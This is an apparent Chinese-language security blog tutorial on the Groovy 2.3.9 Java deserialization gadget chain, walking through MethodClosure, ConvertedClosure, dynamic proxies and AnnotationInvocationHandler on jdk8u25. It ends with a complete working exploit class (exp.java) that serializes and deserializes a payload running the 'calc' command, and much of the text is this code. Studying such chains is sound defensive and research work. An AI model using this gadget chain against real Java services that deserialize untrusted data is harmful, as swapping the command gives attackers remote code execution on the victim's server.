- 版本:jdk8u25
- 依赖:groovy2.3.9
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy</artifactId> <version>2.3.9</version> </dependency> </dependencies>
|
groovy链子详解
首先直接引出漏洞点,定位到org.codehaus.groovy.runtime.Closure的Call函数,我们看看他是怎么实现的
Call
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public V call() { final Object[] NOARGS = EMPTY_OBJECT_ARRAY; return call(NOARGS); }
@SuppressWarnings("unchecked") public V call(Object... args) { try { return (V) getMetaClass().invokeMethod(this,"doCall",args); } catch (InvokerInvocationException e) { ExceptionUtils.sneakyThrow(e.getCause()); return null; // unreachable statement } catch (Exception e) { return (V) throwRuntimeException(e); } }
|
后面还有很多调用我就不细讲了,简略来说call函数会调用method(是个类属性)函数,参数为owner属性
举个例子;
1 2
| MethodClosure methodClosure = new MethodClosure("calc", "execute"); methodClosure.call();
|
这就能弹出计算机,Closure是个抽象类不能实例化,得用它的子类MethodClosure
接下来我们查找一下谁调用了Call函数
定位到org.codehaus.groovy.runtime.ConversionHandler的invokeCustom方法
invokeCustom
1 2 3 4 5
| public Object invokeCustom(Object proxy, Method method, Object[] args) throws Throwable { if (methodName!=null && !methodName.equals(method.getName())) return null; return ((Closure) getDelegate()).call(args); }
|
如果methodName属性不为空且methodName不等于传入的method参数,就返回null
否则调用getDelegate返回值的call函数,getDelegate会返回delegate属性,这个属性是Object且只有构造函数赋值
所以说完全可控,我们接着找谁调用了invokeCustom,可以找到当前类下的invoke函数
invoke
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { VMPlugin plugin = VMPluginFactory.getPlugin(); if (plugin.getVersion()>=7 && isDefaultMethod(method)) { Object handle = handleCache.get(method); if (handle == null) { handle = plugin.getInvokeSpecialHandle(method, proxy); handleCache.put(method, handle); } return plugin.invokeHandle(handle, args); }
if (!checkMethod(method)) { try { return invokeCustom(proxy, method, args); } catch (GroovyRuntimeException gre) { throw ScriptBytecodeAdapter.unwrap(gre); } }
try { return method.invoke(this, args); } catch (InvocationTargetException ite) { throw ite.getTargetException(); } }
|
先判断VMPlugin的版本是否大于7且传入的Method是否为默认方法,如果是,则用handleCache调用这个方法
否则用groovy自定义调用,自定义调用时先判断Method是否是Java核心类Object中定义的核心方法,如果不是,就调用invokeCustom,把proxy, method, args传进去
那么默认方法是啥呢?就是用default修饰、有方法体的方法,例如:
1 2 3 4 5 6 7
| public interface ababa { void hello();
default void world() { System.out.println("Hello from default method!"); } }
|
链子分析到处就结束了,我们得找到一种方法能调用invoke函数触发链子,我们引入动态代理的概念
动态代理
动态代理一般要用到Proxy.newProxyInstance,它接收三个参数:
Proxy.newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)
我们逐个分析
- ClassLoader loader
指定由哪个类加载器来定义和加载这个动态生成的代理类
- Class<?>[] interfaces
作用: 指定这个动态代理对象需要实现哪些接口。这是一个 Class 对象的数组。
让我们真实的类伪装成这个对象
- InvocationHandler h
这是动态代理的核心
它是一个实现了java.lang.reflect.InvocationHandler接口的对象(恰好我们的ConversionHandler实现了这个接口)。
所有对代理对象的内部方法调用,最终都会被路由到这个InvocationHandler的invoke方法
例如代理对象是map,那么对map的所有内部方法调用(包括entrySet,isEmpty等)都会路由到这个InvocationHandler的invoke方法,传入invoke的参数是 被代理类(InvocationHandler h)+路由的方法(entrySet,isEmpty其中一个)
那么就有思路了,用map动态代理ConversionHandler的子类(ConversionHandler是抽象类)ConvertedClosure,那么触发map的方法时,就会调用invoke
接下来就是用cc1链子中的sun.reflect.annotation.AnnotationInvocationHandler触发EntrySet了,当然这里只是个示范,肯定有其他触发map函数的方法
链子:
1 2 3 4 5
| ObjectInputStream.readObject()-> AnnotationInvocationHandler.readObject()-> ConvertedClosure.invoke()-> ConversionHandler.invokeCustom()-> MethodClosure.call()
|
exp.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| package test;
import org.codehaus.groovy.runtime.ConvertedClosure; import org.codehaus.groovy.runtime.MethodClosure; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Proxy; import java.util.Map;
public class exp { public static void main(String[] args) throws Exception{ MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure convertedClosure=new ConvertedClosure(methodClosure,null);
Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);
Class class1 =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=class1.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object object=constructor.newInstance(Target.class,map);
//序列化 ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); objectOutputStream.close(); byte[] bytes=byteArrayOutputStream.toByteArray();
//反序列化 ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
|
![]()